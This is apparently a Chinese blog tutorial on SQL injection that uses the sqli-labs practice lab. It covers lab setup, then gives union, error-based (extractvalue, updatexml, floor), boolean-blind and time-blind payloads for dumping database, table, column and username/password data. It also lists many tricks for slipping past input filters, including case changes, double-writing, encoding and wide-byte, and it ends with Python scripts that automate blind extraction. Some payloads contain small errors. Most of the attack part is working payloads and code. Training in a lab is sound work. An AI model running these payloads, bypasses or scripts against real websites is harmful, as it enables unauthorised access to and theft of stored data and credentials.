SQL注入

# 利用phpstudy搭建sqli-labs靶场 参考文章[链接](https://blog.csdn.net/qq_44637753/article/details/127209670?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522fab0ce31fe04145dae6b47c8317a8b4a%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=fab0ce31fe04145dae6b47c8317a8b4a&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-4-127209670-null-null.142^v100^pc_search_result_base7&utm_term=phpstudy%E6%90%AD%E5%BB%BAsql-libs%E9%9D%B6%E5%9C%BA&spm=1018.2226.3001.4187#1sqlilabsmsterhttpsgithubcomAudi1sqlilabsarchiverefsheadsmasterzip_2)

官网下载phpstudy

选择v8.1 64位

下载sqli-labs靶场

下载源码https://codeload.github.com/Audi-1/sqli-labs/zip/master

安装插件、软件管理 –> 安装php5.4.45 + mysql5.5.29

首页启动apache2.4.39、mysql5.5.29.

修改配置、选择php5.4.45 版本。

sqli-labs-master解压到D:\phpstudy_pro\WWW下可以自行修改目录名称。

修改D:\phpstudy_pro\WWW\sqllibs\sql-connection目录下db-creds.inc连接密码

开启进程、访问http://127.0.0.1/sqli-labs-master/

访问页面为、点击Setup/reset Database for labs设置数据库。

重置成功

安装完毕

关于SQL注入的基本概念和前置知识

参考文章链接 链接

什么是SQL注入?

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入产生的条件

传递给后端的参数是可以控制的

参数内容会被带入到数据库查询

变量未存在过滤或者过滤不严谨

关于Mysql数据库

在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库,该数据库中包含了当前系统中所有的数据库、表、列、索引、视图等相关的元数据信息,是MySql自身信息元数据的存储库,我们需要记住三个表名,分别是 schemata,tables,columns。

1
2
3
schemata         # 存储的是该用户创建的所有数据库的库名,要记住该表中记录数据库名的字段名为 schema_name。
tables # 存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name.
columns # 存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、column_name。

常用的查询语句

1
2
3
4
5
6
# 查询所有的数据库名
select schema_name from information_schema.schemata limit 0,1
# 查询指定数据库security中的所有表名
select table_name from information_schema.tables where table_schema='security' limit 0,1
# 查询指定数据库security中的指定数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1

Sql注入中Mysql常用函数

收集操作系统、数据库版本、数据库名字、数据库用户等信息,为后续注入做准备

1
2
3
4
5
6
7
8
# 一些SQL注入常用的函数
version() # 查看数据库版本
database() # 查看当前数据库名
user() # 查看当前数据库用户
system_user() # 查看系统用户名
group_concat() # 把数据库中的某列数据或某几列数据合并为一个字符串
@@datadir # 查看数据库路径
@@version_compile_os # 查看操作系统

关于Mysql注释

在 Sql 注入中,需要使用 Mysql 的注释符号,需要去注释注入语句后面的语句不被执行,Mysql中单行注释有两种方式,分别是#和– (–后面有空格)

但是,需要注意的是,在url中,如果是get请求,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中使用 get 传参时不包括#,因为使用 # 闭合无法注释,会报错;而使用– (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用 –+ 的方式来闭合,因为+会被解释成空格。

1
2
也可以使用--%20,把空格转换为url encode编码格式,也不会报错。同理把 # 变成 %23 ,也不报错。
如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。

SQL注入的类型和注入方法

SQL注入按照注入点分类

常见的注入点分类有

1
2
3
数值型注入(不需要考虑闭合)
字符型注入(需要闭合引号或者注释逃逸)
搜索型注入(即文本框注入)

数值型注入点

类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 “select * from 表名 where id=1” 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

1
2
3
4
5
6
7
8
9
10
select * from 表名 where id=1 and 1=1
#数字型驻点常见的注入语句(Payload)
#查询数据库名和版本
id=-1 union select 1,database(),version() --+
#查询指定数据库中的表名
id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
#查询指定数据库中指定表名中的列名字段
id=-1 union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) --+
#查询指定表中的数据
id=-1 union select 1,database(),(select group_concat(username,‘:’,password) from secyrity.users) --+

字符型注入点

类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 “select * from 表名 where name=’admin’” 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

1
2
3
4
5
select * from 表名 where name=‘admin’ and 1=1 ‘’
#字符型常见的注入语句(Payload)
#后台语句 - SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1
id=-1') union select 1,database(),version() --+
id=-2") union select 1,2,3–+

搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 keyword=关键字 ,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

1
select * from 表名 where 字段 like ‘%测试%’ and ‘%1%’=‘%1%’

SQL注入常见的几种注入方法

联合查询(union注入)

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化

简单来说就是 有注入点,且数据有回显,那就可以用联合查询注入

以sqli-labs第一关为例来简述联合查询注入的使用

如下,要求我们传入一个id值过去。传参?id=1,当我们输入id=1和id=2时,页面中name值和password的值是不一样的,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

1.注入点判断

开始判断是否存在注入,输入?id=1’,页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

继续判断,输入 ?id=1’ and 1=1 –+ 页面正常显示

?id=1’ and 1=2 –+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

页面会根据输入的数据变化而变化,当存在注入点时,优先考虑使用联合注入手法。

2. 判断当前表的字段个数

输入order by 3,页面无异常反应

1
?id=1' order by 3 --+

将3修改为4,此时显示未知的列,说明此时当前表中只有3列

1
?id=1' order by 4 --+ 

3.判断显示位

接下来测试我们的输入会在屏幕哪个地方进行回显。上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据

需让union select前面的参数查不出来而回显后面的语句,所以id=-1’

1
?id=-1' union select 1,2,3 --+ 

如下,在name和password值中回显了我们的输入,这时我们就可以在回显2或3的放置放入测试语句。

4. 爆当前数据库名字

这里就需要结合上面的Mysql数据库的前置知识

1
?id=-1' union select 1,2,database() --+

获取当前数据库名为“security”

5.爆出当前数据库中的表

1
2
#直接套用语句
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

6.爆出表中的字段

我们这里选择users表进行进一步的获取表中的字段信息

1
2
3
4
#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

获取”users”表中存在3个字段,分别为 “id,username,password”

7. 爆相应字段的所有数据

1
2
3
4
#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`id`,':',`username`,':',`password`) from users --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+

至此,联合查询整个过程结束。注入的时候找到注入点后只需套入语句即可

报错注入

参考文章链接

报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入
报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

报错注入的前提条件

1
2
web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;
后台未对一些具有报错功能的函数(如extractvalue、updatexml等)进行过滤。

相关报错函数

(1)extractvlue()(Mysql数据库版本号>=5.1.5)

作用:对xml文档进行查询,相当于在HTML文件中用标签查找元素。

语法:extactvalue(XML_document, XPath_string)

参数1:XML_document是String格式,为XML文档对象的名称。

参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。

报错原理:xml文档中查找字符位置使用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错并且会返回写入的非法格式内容,错误信息如:XPATH syntax error: ‘xxxxx’。

实例:

注:该函数的最大显示长度为32,超过长度可以配合substr、limit等函数来显示。

(2)updatexml()(Mysql数据库版本号>=5.1.5)

作用:改变文档中符合条件的节点的值。

语法:updatexml(XML_document, XPath_string, new_value)

参数1:XML_document是String格式,为XML文档对象的名称。

参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。

参数3:new_value,string格式,替换查找到的符合条件的数据

报错原理:与extractvalue()原理相同

实例:

注:该函数的最大显示长度为32,超过长度可以配合substr、limit等函数来显示。

(3)floor()、rand()、count()、group by联用

作用:

1
2
3
4
floor(x):对参数向下取整
rand():生成一个0-1之间的随机浮点数
count(*):统计某个表下总共有多少条记录
group by X:按照by一定规则(x)进行分组

报错原理:

group by和rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将就算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如下:

Duplicate entry ‘…’ for key ‘group_key’

实例:

(4)exp()(5.5.5< = MYsql数据库版本<=5.5.49)

作用:计算以e(自然常数)为底的幂值;

语法:exp(x)

报错原理:当参数超过710时,exp()函数会报错,错误信息如下:DOUBLE value is out of range:…

实例:

报错注入常用payload

利用extractvalue()函数进行报错注入
1
2
3
4
5
6
7
8
id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容
利用updataxml()函数进行报错注入
1
2
3
4
5
6
7
8
id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容
利用floor()函数进行报错注入
1
2
3
4
5
6
7
8
id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+ //爆出当前数据库名
id=1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),floor(rand()*2))x from information_schema.tables group by x)a) --+ //查看数据库的表名
id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),floor(rand()*2))x from information_schema.tables group by x)a) --+ //查看表中的字段名
id=1' and (select 1 from (select count(*),concat((select group_concat(concat(字段1,'%23',字段2))),floor(rand()*2))x from information_schema.tables group by x)a) --+ //查看字段内容

基于布尔的盲注(布尔盲注)

参考文章链接

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。

我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

函数的作用可以参考这篇链接

大致步骤为

注入方法

这里以靶场sqli-labs>>less-5为例子大概叙述布尔盲注

注:由于布尔盲注工作量很大 不支持手搓 不管是在做题还是实战中都会配合sql注入自动化工具使用

这里只大概展示bool盲注的原理(相当于对着答案来做题 而且省略一些机械重复的步骤)

判断页面的true和fasle

输入payload

1
http://710deee6-f4db-4caa-bb69-4456a943ed13.node5.buuoj.cn/Less-5/?id=1' and 1=1--+

接着输入payload

1
http://710deee6-f4db-4caa-bb69-4456a943ed13.node5.buuoj.cn/Less-5/?id=1' and 1=2--+

所以判断当页面出现 You are in…………. 时为true

猜测当前数据库长度:
1
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 %23

长度为8时返回正确页面,所以数据库长度为8.

注:得到长度8是通过一个数一个数试出来的 一般都是使用脚本 不支持手搓 包括后面的猜表名和数 据内容 也是将字符转化成ascii码后 通过判断页面反馈一个个拼接起来的

猜测当前数据库名

使用left()函数进行夹逼(使用其他截取字符的函数也是同样的道理 只不过格式会有些许差异)
猜测当前数据库名的第一位字符:

1
2
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)>'r'%23
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)<'t'%23

结果都为

由于 ‘r’<’当前数据库名的第一位字符’<’t’

所以当前数据库名的第一位字符为’s’。

猜测当前数据库名的第二位字符:

payload:

1
2
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)>'sd'%23
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)<'sf'%23

两个结果都为

由于 ‘sd’<’当前数据库名的前两位字符’<’sf’

所以当前数据库名的第二位字符为’e’

以此类推,最后得到当前数据库名为“security”。(这里都是机械重复操作 方法都是一样的)

猜测当前数据库的表名

猜测第一个数据表名的第一个字符:

payload:

1
2
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100%23
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<102%23

注:字符’d’的ascii码值为100 字符’f’的ascii码值为102 这里用的是ascii函数和substr函数来截取比较

道理和方法都是一样的

结果都为

所以 ‘d’<’当前数据库第一个表名的第一个字符’<’f’

当前数据库第一个表名的第一个字符为’e’。

以此类推,当前数据库第一个表名为’email’。

猜测当前数据表的字段:

猜测当前数据表的第四个字段的第一个字符:

同样的方法 只是payload有点区别

1
2
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 3,1),1,1))>104%23
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 3,1),1,1))<106%23

结果都为

由于 ‘h’<’当前数据表的第四个字段的第一个字符’<’j’

所以 当前数据表的第四个字段的第一个字符为’i’

类推,当前数据表的第四个字段为’id’。

猜测当前字段的数据项:

猜测当前字段第一个数据项的第一个字符:

payload:

1
2
http://127.0.0.1/sqlilabs/less-5/?id=1' ascii(substr((select username from security.users order by id limit 0,1),1,1))>67%23 
http://127.0.0.1/sqlilabs/less-5/?id=1' ascii(substr((select username from security.users order by id limit 0,1),1,1))<69%23

由于 ‘C’<‘当前字段的第一个数据项的第一个字符’<‘E’

所以 当前字段的第一个数据项的第一个字符为’D’。

以此类推,当前字段的第一个数据项为’Dumb’。

同样的方法可以推出‘password’字段的第一个数据项为’Dumb’。

基于时间的盲注(延时盲注)

延时盲注原理

延时盲注,也称为时间盲注或延迟注入,是一种SQL盲注的手法。其原理在于利用执行时间差来判断是否执行成功。攻击者提交一个对执行时间敏感的SQL语句,通过执行时间的长短来判断注入是否成功。如果注入成功,执行时间会变长;如果注入失败,执行时间则会变短。

以靶场sqli-labs less9为例

在尝试了N种闭合方式之后发现页面的回显都是一样的并且没有任何报错信息,尝试延时盲注

1
/?id=1' and (sleep(5))--+

发现如果输入的内容为真的话 响应会延时5秒 以此作为是否正确的判断条件

注:和布尔盲注原理很像 都是通过判断字符是否正确来拼接像要查找的数据 同样也用到了布尔盲注中截取 字符串的函数 工作量同样很大 也是需要配合sql注入的自动化工具的使用 不支持手搓

延时注入中使用的函数

sleep()

语法:

1
2
3
sleep(参数)

#参数为休眠时长,以秒为单位,可以为小数

用法:

1
2
3
SELECT sleep(3);

#延迟3秒查询
if()

语法:

1
if(conditiontruefalse)

用法:

1
2
3
4
5
SELECT if(1=1,sleep(0),sleep(3));
#1=1True,响应延迟0

SELECT if(1=2,sleep(0),sleep(3));
#1=2False,响应延迟3

payload的构建

1
2
3
4
5
6
7
8
9
10
11
12
13
?id=1' and if(ascii(substr((select database()),1,1))>=ASCII码,sleep(0),sleep(3))--+

?id=1' and if(ascii(substr((select database()),1,1))<=ASCII码,sleep(0),sleep(3))--+

#用二分法将第一位字符验证出来

?id=1' and if(ascii(substr((select database()),2,1))>=ASCII码,sleep(0),sleep(3))--+

?id=1' and if(ascii(substr((select database()),2,1))<=ASCII码,sleep(0),sleep(3))--+

#用二分法将第二位字符验证出来

以此类推最终得到所有字符

注:相比于布尔盲注多了一个判断语句 截取字符和比较都是一样的 注入过程和布尔注入也是一样的这里就不展示了

SQL注入中常用的绕过过滤的方法

转载链接链接

1.注释符号绕过

1
2
3
4
5
--  注释内容
# 注释内容
/*注释内容*/
;
;%00

2.大小写绕过

如果用关键字阻塞过滤器显得不够聪明,可以通过变换攻击字符串中字符的大小写来避开它们,因为数据库使用不区分大小写的方式处理SOL关键字。例如,如果下列输入被阻止:

1
UNION SELECT password FROM tblUsers WHERE username='admin'--

可以通过下列方法绕开过滤器:

1
uNiOn SeLeCt password FrOm tblUsers WhErE username='admin'-- 

3.内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

1
select * from cms_users where userid=1 union /*!select*/ 1,2,3;

4.双写绕过

使用双写绕过。因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。

比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为Ununionion,这样红

色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用

5.编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过:

对关键字进行两次url全编码:

1
2
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2

ascii编码绕过

1
2
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
#利用函数CHAR()结合字母的ASCII码值拼接成被过滤的关键字

16进制绕过:

1
2
3
select * from users where username = test1;
select * from users where username = 0x7465737431;
#将test转化成16进制

unicode编码对部分符号的绕过:

1
2
3
4
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09

6.<>大于小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。

greatest()和least()

greatest(n1, n2, n3…):返回n中的最大值 或least(n1,n2,n3…):返回n中的最小值

1
select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=99;

strcmp()

strcmp(str1,str2):
若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

1
select * from cms_users where userid=1 and strcmp(ascii(substr(database(),0,1)),99);

in关键字

1
select * from cms_users where userid=1 and substr(database(),1,1) in ('c');

between a and b

between a and b:范围在a-b之间(不包含b)

1
select * from cms_users where userid=1 and substr(database(),1,1) between 'a' and 'd';

7.空格绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

1
2
3
4
5
6
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

8.对or and xor not 绕过

1
2
3
4
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !

9.对等号=绕过

like

不加通配符的like执行的效果和 = 一致,所以可以用来绕过。
正常加上通配符的like:

1
Select * from cms_users where username like "ad%";

不加上通配符的like可以用来取代=:

1
Select * from cms_users where username like "admin";

REGEXP

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

1
Select * from cms_users where username REGEXP "admin";

大于号小于号

使用大小于号来绕过

1
Select * from cms_users where userid>0 and userid<2; #userid=1

<> 等价于 != ,所以在前面再加一个 ! 结果就是等号了

1
Select * from cms_users where !(username <> "admin");

10.对单引号的绕过

使用十六进制

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

1
select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

1
select column_name  from information_schema.tables where table_name=0x7573657273

宽字节绕过

过滤单引号时,可以试试宽字节

过滤 ‘ 的时候往往利用的思路是将 ‘ 转换为 ' 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字

%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成%df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的 ’ 符号在外面:

1
id=-1%df%27union select 1,user(),3--+

11.对于逗号的绕过

sql盲注时常用到以下的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
substr()
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后

substring()
用法和substr()一样

mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的

left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串

limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始

ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符

对于substr()和mid()这两个方法可以使用from for 的方式来解决

1
select substr(database() from 1 for 1)='c';

使用join关键字来绕过

1
2
3
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

使用like关键字 适用于substr()等提取子串的函数中的逗号

1
2
select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

使用offset关键字

1
2
3
 select * from cms_users limit 0,1;
# 等价于下面这条SQL语句
select * from cms_users limit 1 offset 0;

12.过滤函数绕过

sleep()被过滤时

sleep()时延时盲注中最常见的函数 当sleep()被过滤时可以使用benchmark()来代替

1
2
3
4
sleep() -->benchmark()
select 12,23 and sleep(1);
参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
select 12,23 and benchmark(10000000,1);

ascii()被过滤时

1
2
ascii()–>hex()、bin()
替代之后再使用对应的进制转string即可

group_concat()被过滤时

1
2
3
group_concat()–>concat_ws()
select group_concat(“str1”,“str2”);#等价于
select concat_ws(“,”,“str1”,“str2”);

substr(),substring(),mid()被过滤时

1
substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()

user() datadir ord()被过滤时

1
2
user() --> @@user、datadir–>@@datadir
ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

过滤了if函数:

1
2
3
4
5
6
if函数的判断语句
select if(substr(database(),1,1)='c',1,0);
IFNULL函数
select ifnull(substr(database(),1,1)='c',0);
case when then函数
select case substr(database(),1,1)='c' when 1 then 1 else 0 end;

SQL自动化注入的python脚本

SQL自动化注入工具一般使用python脚本 使用python脚本的好处在于可以根据题目需要的条件修改相应的部分 而且编写起来也比较方便

布尔盲注的python脚本编写思路(大概思路)

以sqli-labs less8为例

由于sql注入点是用GET传参 通过引用requests库来对url发送重复请求

并定义chars作为字典(后面会用到char for chars的遍历来确定字符)

再定义一个send_payload()函数作为判断条件

当页面中出现”You are in………..”(并不唯一 根据遇到的题目变化而变化)返回真 可以使字符遍历时找到正确的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

global url #定义一个全局变量url
url = input("Enter the URL: ")
global chars
chars = "abcdefghijklmnopqrstuvwxyz_#!@ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def send_payload(payload):
res = requests.get(url + payload)
res.encoding = 'utf-8'
if "You are in..........." in res.text:#这里是标志字符串,自行修改
return True
else:
return False

以上作为布尔盲注的基本框架

下面我们只要根据框架定义想要的函数即可

例如

定义get_database_name_length()函数 利用length=length+1的自增及 send_payload()函数的判断 遍历出数据库的长度

然后再定义get_database_name(length)函数 利用for i in range(1,length+1) 控制循环次数 并且利用上面所提到的char for chars的遍历来确定字符 最后把确定的字符拼接到一起得到数据库名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def get_database_name_length():
length = 0
while True:
length = length + 1
payload = f"' OR (SELECT LENGTH(database()))={length}--+" #payload一般也根据题目改变 如绕过过滤等
if send_payload(payload):
print(f"Database name length: {length}")
return length
#试出数据库名字的长度
def get_database_name(length):
database_name = ""
for i in range(1,length+1):
for char in chars:
payload = f"' OR (SELECT ASCII(SUBSTRING(database(),{i},1)))= {ord(char)}--+" #payload一般也根据题目改变 如绕过过滤等
if send_payload(payload):
database_name = database_name + char
print(f"Database name: {database_name}")
break
print("Database name:",database_name)
return database_name
#试出数据库的名字

根据这个框架 爆出数据库名称后 根据爆出数据库名称 并修改对应的参数和payload接着定义新的爆破函数

延时注入的python脚本编写思路(大概思路)

说实话 延时注入脚本不是很会写 这里转载别人的 参考文章链接

首先是爆库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests                                  //最关键的requests库,可以好好了解一下
import time //这个也是必要的
chars=',abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'//爆破
database='' //把结果加到这个变量里
global length

for l in range(1,20): //这里有时候range 要大些,因为用了group_concat把结果都放在一行了,可能使长度很大
url ='http://192.168.1.100/sqli-labs-master/Less-5/' //url自己根据情况改
close="?id=1'" //闭合方式
payload1=' and if(length(database())=%s,sleep(2),0) --+' %l //最关键的地方,和其他注入方法的payload 差不多,只是用了延时的手法
start_time=time.time()
r=requests.get(url+close+payload1)
end_time=time.time()
sec=end_time-start_time //算出get请求和sleep后所用的时间
if sec >=2: //时间符号条件就print并退出
print('database length is '+str(l))
global length
length =l;
break
else:
pass
for i in range (1,length+1):
for char in chars:
payload2="and if(substr(database(),%d,1)='%s',sleep(2),1) --+" %(i,char)//substr取每位爆破
start_time2=time.time()
r2=requests.get(url+close+payload2)
end_time2=time.time()
sec2=(end_time2-start_time2)//也是一样,符合条件就输出
if sec2 >=2:
database+=char
print(database)
break
print('database_name:',database)

如果没有过滤可以直接得到数据库名

如果要得到表名,脚本和上面差不多,url和close都一样,只需要改一下payload和一些变量名称

爆破的手法是:爆破长度,爆破名称

爆破表长的payload:

1
payload="and if(length((select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1))=%s,sleep(3),1) --+" %l

爆破表名的payload:

1
payload = " and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1),%s,1)) = %s,sleep(3),1) --+" %(j,charAscii)

注:爆破名字的时候建议套上ascii()函数

爆破列长的payload:

1
payload=" and if(length((select group_concat(column_name) from information_schema.columns where table_name = 'users' ))=%s,sleep(3),1) --+" %l

爆破列名的payload:

1
payload2 = " and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'users' limit 0,1),%s,1)) = %s,sleep(3),1) --+" %(j,charAscii)

爆破字段长的payload:

1
payload=" and if(length((select group_concat(username) from users ))=%s,sleep(3),1) --+" %l

爆破字段名的payload:

1
payload=" and if(ascii(substr((SeLeCt group_concat(username) from users ),%s,1)) = %s,sleep(3),1) --+" %(j,charAscii)

注:这里写的payload是在完全没有过滤的情况下才可以运行的。


SQL注入
http://example.com/2024/12/19/SQL注入/
作者
big_freeze_mouse
发布于
2024年12月19日
许可协议